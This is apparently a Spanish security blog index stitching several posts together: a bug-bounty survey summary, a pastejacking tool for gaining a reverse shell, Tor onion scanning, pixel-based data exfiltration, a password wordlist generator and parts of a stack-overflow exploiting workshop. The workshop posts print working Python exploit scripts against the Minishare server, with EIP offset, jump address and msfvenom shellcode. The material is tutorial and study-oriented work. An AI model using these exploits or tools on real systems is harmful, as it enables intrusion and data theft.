¿Cuál es la motivación de los cazadores de bugs?

El término "Bug Bounty" y en definitiva los programas de recompensa por el descubrimiento y reporte (responsable) de bugs se han expandido y multiplicado espectacularmente en los últimos años. Bugcrowd ha lanzado su segundo informe anual "Mind of a Hacker", para proporcionar información sobre las motivaciones y preferencias de los cazadores de bugs y así ayudar a las empresas a adaptar sus programas de bonificación para que puedan conducir a mejores resultados para todos.

Las ideas más interesantes derivadas de una encuesta a más de 500 denominados "bug hunters" son las siguientes:

- Vienen de todas partes del mundo (216 países), pero la gran mayoría de ellos se encuentran en los Estados Unidos y la India.

- La mayoría son muy jóvenes: el 71% tienen entre 18 y 29 años de edad (un 60% más que el año anterior) y el 8% aún no han cumplido los 18 años.

- La mayoría de los cazadores de bug tienen una formación avanzada (el 82% de los cazadores de bugs han completado alguna forma de educación superior)

- La mayoría de ellos (86%) trabajan en la industria de la seguridad (pentesters, consultores de seguridad, etc.). El 14% no tiene experiencia específica en seguridad pero en cambio,tiene puestos de TI más amplios, como ingenieros de software, desarrolladores o administradores de sistemas.

- Tienen conocimiento y experiencia en muchas tecnologías:


Comprometido por sólo copiar y pegar texto de una página maliciosa (obtención de una shell mediante pastejacking)

Hace algo más de un año, vimos un técnica llamada pastejacking que sobrescribía el portapapeles del usuario (normalmente después de control+c), de tal manera que cuando el usuario quería pegar el texto original (normalmente con control+v) éste ya había sido sustituido por contenido malicioso. En ese post vimos una simple prueba de concepto pero hoy ya os traemos un ejemplo más práctico y es que, con sólo copiar y pegar el texto de la web del atacante, éste podrá obtener una sesión inversa contra la máquina de la víctima.

La herramienta que nos va a facilitar este tipo de ataque es un script en Python bautizado como PasteZort y creado por ZettaHack. Lo único que necesitaremos para usarlo  es descargar el software desde el repositorio de Github y darle permisos de ejecución.

# git clone https://github.com/ZettaHack/PasteZort.git
Cloning into 'PasteZort'...
remote: Counting objects: 13, done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 13 (delta 1), reused 13 (delta 1), pack-reused 0
Unpacking objects: 100% (13/13), done.


# cd PasteZort/
root@server:/PasteZort# ls
encode.rb  PasteZ0rt.py  README.md
root@server:/PasteZort# chmod +x PasteZ0rt.py


root@server:/PasteZort# ./PasteZ0rt.py

docker-onion-nmap o cómo escanear servicios .onion de la red Tor

docker-onion-nmap de Miles Richardson es un contenedor docker que permite escanear servicios "onion" de la red Tor. La imagen está basada en Alpine y utiliza proxychains para "wrappear" nmap. Tor y dnsmasq se ejecutan como demonio vía s6 y, como comentamos, se usa proxychains para que los escaneos de nmap vayan por el proxy SOCK de Tor en el puerto 9050.

Además también se configura Tor a través de DNSPort para resolver anónimamente las solicitudes DNS sobre el puerto 9053, en el que dnsmasq actúa como servidor DNS de autoridad (authority.) Luego Proxychains está configurado para proxy DNS a través de la resolución local, por lo que todas las solicitudes DNS pasarán por Tor y las aplicaciones pueden resolver las direcciones .onion.

Ejemplo:
$ docker run --rm -it milesrichardson/onion-nmap -p 80,443 forohpysho2t5mjs.onion
[tor_wait] Wait for Tor to boot... (might take a while)
[tor_wait] Done. Tor booted.
[nmap onion] nmap -p 80,443 forohpysho2t5mjs.onion
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.12

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-14 11:01 UTC
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  forohpysho2t5mjs.onion:80  ...  OK
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  forohpysho2t5mjs.onion:443 <--denied br="">RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for forohpysho2t5mjs.onion (224.0.0.1)
Host is up (7.1s latency).

PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds

Uso:

Cuando el contenedor docker se inicia ejecuta Tor y dnsmasq como demonios. Después el script 'tor_wait' espera a que el proxy Tor SOCKS esté activo antes de ejecutar su comando. Por defecto, se pasan los argumentos nmap -sT -PN -n "$@", necesarios para funcionar sobre Tor (vía explainshell.com).

Exfiltración de datos codificando datos en valores de color de píxeles

Hace cuatro años, Dave Lodge tuvo la idea de codificar datos en una serie de códigos QR para extraer información de un host y, el año pasado, ya lo pudimos ver implementado por Eric Seifert que desarrolló el software necesario para enviar datos usando tan sólo un monitor y una cámara web ("IP sobre QR"). Este método funciona, pero los códigos QR no contienen una gran cantidad de datos, por lo que transferir incluso 1MB lleva mucho tiempo.

Digamos que estos fueron dos pasos previos a la herramienta de exfiltración de datos que os traemos hoy. Se trata PTP-RAT de Alan Monie, que aumenta el ancho de banda codificando datos usando valores de color de píxeles individuales y mostrando la pantalla remota.

El funcionamiento básicamente es que un listener en el equipo procesa las capturas de la pantalla y reconstruye los datos. Cada captura de pantalla comienza con un encabezado que contiene una cadena mágica, "PTP-RAT-CHUNK" seguido de un número de secuencia. Cuando el receptor está activado, comienza a tomar capturas de pantalla al doble de la frecuencia de transmisión (la tasa de Nyquist). Cuando detecta un encabezado válido, decodifica la información de color de píxeles y espera al siguiente flash. Tan pronto como no se detecta un encabezado válido, reconstruye todas las capturas y guarda el resultado en un archivo.

Una resolución de pantalla típica de 1920×1080 con 24 bits de color puede codificar casi 6 MB de datos en una imagen, por lo que el ancho de banda no está nada mal. Sin embargo protocolos como RDP cambian ligeramente los valores de color y, aunque no es perceptible para un ser humano, destruyen datos codificados. Alan estimó que sería posible codificar hasta 15 bits por píxel en una buena conexión antes de comenzar a perder datos. Esto probablemente variaría entre los protocolos y la calidad de la conexión, así que decidió dar un buen margen de error, y en lugar de codificar tres bytes por píxel, decidió bajarlo a 3 bits por píxel (1 bit por cada valor RGB en el píxel) para manejar los "errores" de compresión del protocolo. Después de hacer este cambio, lo probó con una conexión RDP y pudo filtrar un archivo de 3MB en unos segundos.

Para utilizar el software hay que instalar una instancia tanto en el emisor como el receptor y simplemente seleccionar el archivo que queremos enviar. El puntero del mouse desaparece y la pantalla comienza a parpadear a medida que el archivo se transmite a través de los valores de color de los píxeles. Al final de la transferencia, aparece un cuadro de diálogo para guardar archivos en el receptor y el archivo se guarda.

Mentalist: una herramienta gráfica para generar wordlists

Mentalist es una herramienta gráfica para la generación de listas de palabras personalizadas para ataques de diccionario. Utiliza paradigmas humanos comunes para construir contraseñas y puede generar una lista completa de palabras, así como reglas compatibles con Hashcat y John the Ripper.

Mentalist genera listas de palabras al unir nodos, que forman una cadena. El primer nodo de una cadena es siempre el nodo de palabras base. Cuando se procesa la cadena, cada palabra base pasa al siguiente nodo de la cadena, lo que puede modificar la palabra, dejarla igual o crear más variaciones de la misma. Finalmente, los resultados se escriben en un archivo de salida como la lista de palabras completa o las reglas para generar la lista equivalente.

Hay 5 tipos de nodos. Cada tipo tiene su propio conjunto de atributos, que se pueden agregar en cualquier combinación. Los atributos de un nodo determinan su función. Además, los atributos dentro del mismo nodo son mutuamente excluyentes entre sí.

Algunos nodos pueden producir más de una palabra de salida para cada palabra de entrada. En tales casos, solo el conjunto de palabras de salida únicas para una Palabra Base se pasa al siguiente nodo. En otras palabras, cada nodo realiza desduplicación en cada palabra base.
  • Base words: Siempre el primer nodo dentro de la cadena de Mentalist. Proporciona las palabras raíz, que deben ser procesadas por cada nodo a medida que pasan por la cadena.
  • Case: Cambia de mayúsculas a minúsculas y viceversa las letras dentro de la palabra. Cada atributo agregado a un nodo de Case produce una variación diferente de la palabra de entrada, a excepción del atributo 'No Case Change' que pasa a través de la palabra original.
  • Substitution: Reemplaza los caracteres dentro de la palabra. Al igual que Case, cada atributo agregado a un nodo de Sustitución produce otra palabra de salida, sujeta a desduplicación. El atributo 'No Substitution' devuelve la palabra de entrada sin modificar.
  • Append: Los nodos Append añaden cadenas al final de la palabra de entrada. La mayoría de los atributos Append producen muchas variaciones de la palabra de entrada. Por ejemplo, el atributo Numbers: Small (0-100) agrega 101 palabras de salida para cada palabra de entrada.
  • Prepend: Los nodos Prepend agregan cadenas al comienzo de la palabra de entrada. Sus atributos y funcionalidad son idénticos a Append.

Cryptopuck: un dispositivo (RPi) para cifrar rápidamente sin necesidad de computadora

A través de Hackaday descubrimos un interesante proyecto de Dimitris Platis llamado Cryptopuck, que combina una Raspberry Pi Zero, algunos programillas en Python y una caja impresa en 3D. El resultado es un dispositivo de cifrado completamente autónomo que cualquiera puede usar. Solo hay que insertar una unidad flash USB, esperar a que el LED deje de parpadear y todos sus archivos estarán cifrados de forma segura y solo podrán acceder a ellos quienes tengan la clave privada.

Según su autor (y con toda razón) un dispositivo como este podría ser muy valioso para reporteros y fotógrafos, manifestantes o, en realidad, cualquier persona que necesite una forma discreta de proteger datos rápidamente, sin tener acceso a una computadora.

El lado del hardware es realmente solo la RPi, un interruptor, un solo LED para notificaciones y una batería. La verdadera magia proviene del software, donde Dimitris usa PyCrypto para realizar el cifrado AES-256 y una combinación de pyinotify y udiskie para detectar nuevos volúmenes montados y actuar sobre ellos. Los diversos scripts de Python que componen la suite Cryptopuck están todos disponibles en la página GitHub del proyecto, pero Dimitris deja muy claro que el software se debe considerar una prueba de concepto y no se ha sometido a ningún tipo de auditoría de seguridad.


Proyecto: https://platis.solutions/blog/2017/10/10/cryptopuck-encrypt-removable-media-on-the-fly/
Github: https://github.com/platisd/cryptopuck

Taller de iniciación al exploiting: desbordamiento de pila (4) - ejecución del shellcode

En las entradas anteriores de esta serie hemos sido capaces de provocar un desbordamiento de pila en un programa (Minishare) y controlar su flujo de ejecución para redireccionarlo hacia donde hemos preparado la ubicación de nuestro shellcode, así que ya sólo nos queda crear ese shellcode e insertarlo en nuestro exploit para que sea completamente funcional.

Para ello usaremos msfvenom, una utilidad de Metasploit con la que podremos generar y encodear fácilmente payloads.

Primero generaremos un payload para ejecutar la típica calculadora como prueba de concepto. Tenemos que aseguraremos que el shellcode que se crea esté libre de los caracteres incorrectos o "bad characters" más usuales "\x00\x0a\x0d" que, de no eliminarse, podrían hacer que el shellcode sea inviable. El comando resultante sería:

msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python


Lo copiamos y pegamos a nuestro exploit:

EXPLOIT K
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python

shellcode =  ""
shellcode += "\xba\x6a\xfc\x07\x12\xd9\xe8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x65\x1e"
shellcode += "\xf2\xee\x91\x5c\xfd\x0e\x61\x01\x77\xeb\x50\x01\xe3"
shellcode += "\x7f\xc2\xb1\x67\x2d\xee\x3a\x25\xc6\x65\x4e\xe2\xe9"
shellcode += "\xce\xe5\xd4\xc4\xcf\x56\x24\x46\x53\xa5\x79\xa8\x6a"
shellcode += "\x66\x8c\xa9\xab\x9b\x7d\xfb\x64\xd7\xd0\xec\x01\xad"
shellcode += "\xe8\x87\x59\x23\x69\x7b\x29\x42\x58\x2a\x22\x1d\x7a"
shellcode += "\xcc\xe7\x15\x33\xd6\xe4\x10\x8d\x6d\xde\xef\x0c\xa4"
shellcode += "\x2f\x0f\xa2\x89\x80\xe2\xba\xce\x26\x1d\xc9\x26\x55"
shellcode += "\xa0\xca\xfc\x24\x7e\x5e\xe7\x8e\xf5\xf8\xc3\x2f\xd9"
shellcode += "\x9f\x80\x23\x96\xd4\xcf\x27\x29\x38\x64\x53\xa2\xbf"
shellcode += "\xab\xd2\xf0\x9b\x6f\xbf\xa3\x82\x36\x65\x05\xba\x29"
shellcode += "\xc6\xfa\x1e\x21\xea\xef\x12\x68\x60\xf1\xa1\x16\xc6"
shellcode += "\xf1\xb9\x18\x76\x9a\x88\x93\x19\xdd\x14\x76\x5e\x11"
shellcode += "\x5f\xdb\xf6\xba\x06\x89\x4b\xa7\xb8\x67\x8f\xde\x3a"
shellcode += "\x82\x6f\x25\x22\xe7\x6a\x61\xe4\x1b\x06\xfa\x81\x1b"
shellcode += "\xb5\xfb\x83\x7f\x58\x68\x4f\xae\xff\x08\xea\xae"


exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

y al ejecutarlo, debería abrirse la calculadora como se muestra a continuación:

Taller de iniciación al exploiting: desbordamiento de pila (3) - "acomodando" el espacio para nuestro payload

Anteriormente habíamos conseguido saber exactamente dónde está (offset) el puntero de la aplicación o EIP del servidor Minishare. La meta final es sobrescribir este registro para apuntar a una dirección de memoria donde haya otros procesos interesantes como la consola de comandos o, como haremos a continuación, donde esté nuestro código malicioso/shellcode.

Si echáis la "vista" atrás, anteriormente inyectamos un búfer de 2000 bytes con caracteres únicos para saber rápidamente que el EIP se encontraba a partir del 1787. Esto nos deja 209 bytes (2000−1787−4) si queremos escribir nuestro shellcode, espacio que podría ser insuficiente si consideramos que una shell inversa suele ocupar entre 300 y 400 bytes.

Para localizar espacio para nuestro shellcode la manera más rápida es incrementar el búfer de 2000 a 2200 bytes y verificar si el programa se bloquea y si da como resultado un espacio más grande para nuestro shellcode. Por lo que modificamos el exploit añadiendo 409 C's para ver el resultado:

EXPLOIT E
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x42\x42\x42\x42"

shellcode = "\x43" * 409

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Como veis en el volcado de memoria del ESP (botón derecho + "Follow in Dump"), el tamaño del búfer ha aumentado y se han sobrescrito todas las C's, lo que significa que tenemos asegurados al menos 409 bytes de espacio disponibles para nuestro shellcode, suficiente.

El siguiente paso es saltar a la localización de nuestro buffer y como nuestro buffer de C's comienza en ESP, necesitamos encontrar una forma de redirigir el flujo al inicio del registro ESP. Para ello, intentaremos encontrar una instrucción  "jmp esp" en memoria. De nuevo, usaremos el script mona.py para encontrar la instrucción JMP ESP más adecuada.

Primero listaremos todos los módulos o librerías cargados en memoria con el siguiente comando:

!mona modules


Observar que en la tabla resultante se incluye también información de la existencia o no de diversas protecciones como SEH, ASLR o NX. Dado que estamos trabajando en XP y no tenemos ningún tipo de protección, en nuestro caso elegimos por ejemplo el módulo del sistema operativo ole32.dll (soporte para objetos OLE) para buscar instrucciones "JMP ESP". Podemos utilizar el script Mona nuevamente para encontrar esta instrucción en dicho módulo:

!mona find -s "\xff\xe4" -m ole32.dll

* "ffe4" es el opcode equivalente a la instrucción JMP ESP.
 

DNSCrypt para RPi (o para cualquier sistema si no quieres que nadie vea las webs que visitas)

En este post voy a enseñaros a configurar dnscrypt-proxy (https://dnscrypt.org/) y utilizarlo junto con bind en nuestra Raspberry. La explicación va a partir de que tenéis una Raspberry con Raspbian y Bind instalado, a poder ser como indiqué en mi post anterior (http://www.hackplayers.com/2017/10/usando-la-rpi-para-bloquear-publicidad.html), pero sirve para cualquier sistema GNU/Linux incluso sin Bind instalado. De esta forma, nuestras peticiones dns se realizarán cifradas y así evitaremos que nuestro ISP pueda ver que webs visitamos.

En la web de Dnscrypt podemos descargar su cliente para varios sistemas operativos, pero lamentablemente no ofrecen un paquete deb para nuestro Raspbian, por lo que tendremos que compilarlo. Para facilitar este proceso podemos utilizar el siguiente script: https://github.com/simonclausen/dnscrypt-autoinstall . Este script se encarga de descargar la última versión de dnscrypt-proxy e instalarla, incluidos los archivos necesarios para systemd, un usuario para el servicio,.... Empecemos.

Descargamos el script de autoinstalacion de Github:

wget https://raw.githubusercontent.com/simonclausen/dnscrypt-autoinstall/master/dnscrypt-autoinstall

El script comprueba si hay algún servicio escuchando en el puerto 53, y si lo hay se para. Por este motivo, antes de ejecutarlo debemos parar bind con el comando "systemctl stop bind9.service". Y de manera temporal, modificar el archivo /etc/resolv.conf indicando unos dns externos, para que nuestra Raspberry siga teniendo acceso a Internet.

Una vez hecho esto, ejecutamos el script de instalación de dnscrypt:

bash dnscrypt-autoinstall

Al hacer ésto se encargará de instalar las dependencias y compilar dnscrypt-proxy (este proceso va a tardar unos minutos). Solo nos preguntará si queremos ver el listado de proveedores que ofrecen la posibilidad de usar dnscrypt y cual de estos queremos usar. Yo indiqué opendns (opción 9), pero podéis elegir el que queráis. Con esto ya quedará instalado el servicio.

Ahora solo nos faltarían los últimos retoques.

Taller de iniciación al exploiting: desbordamiento de pila (2) - controlando el flujo de la aplicación

En la entrada anterior llegamos a sobrescribir el EIP (puntero a la siguiente instrucción) con 41414141, la representación hexadecimal de AAAA, por lo que conseguimos crashear el programa vulnerable (Minishare) al desbordar la pila.
Recordar que el rango para disparar la vulnerabilidad era de 2000 caracteres.

Ahora el objetivo es saber exactamente dónde está el EIP, es decir el offset, para escribirlo de forma controlada con un salto a nuestro shellcode.
Para ello vamos a generar con mona.py un patrón o mapa de caracteres único para que cuando sobrescribamos de nuevo el EIP podamos saber exactamente la posición u offset del EIP. Primero ejecutaremos en la consola de Immunity:

 '!mona pattern_create 2000'


y echamos un vistazo al patrón generado en C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt: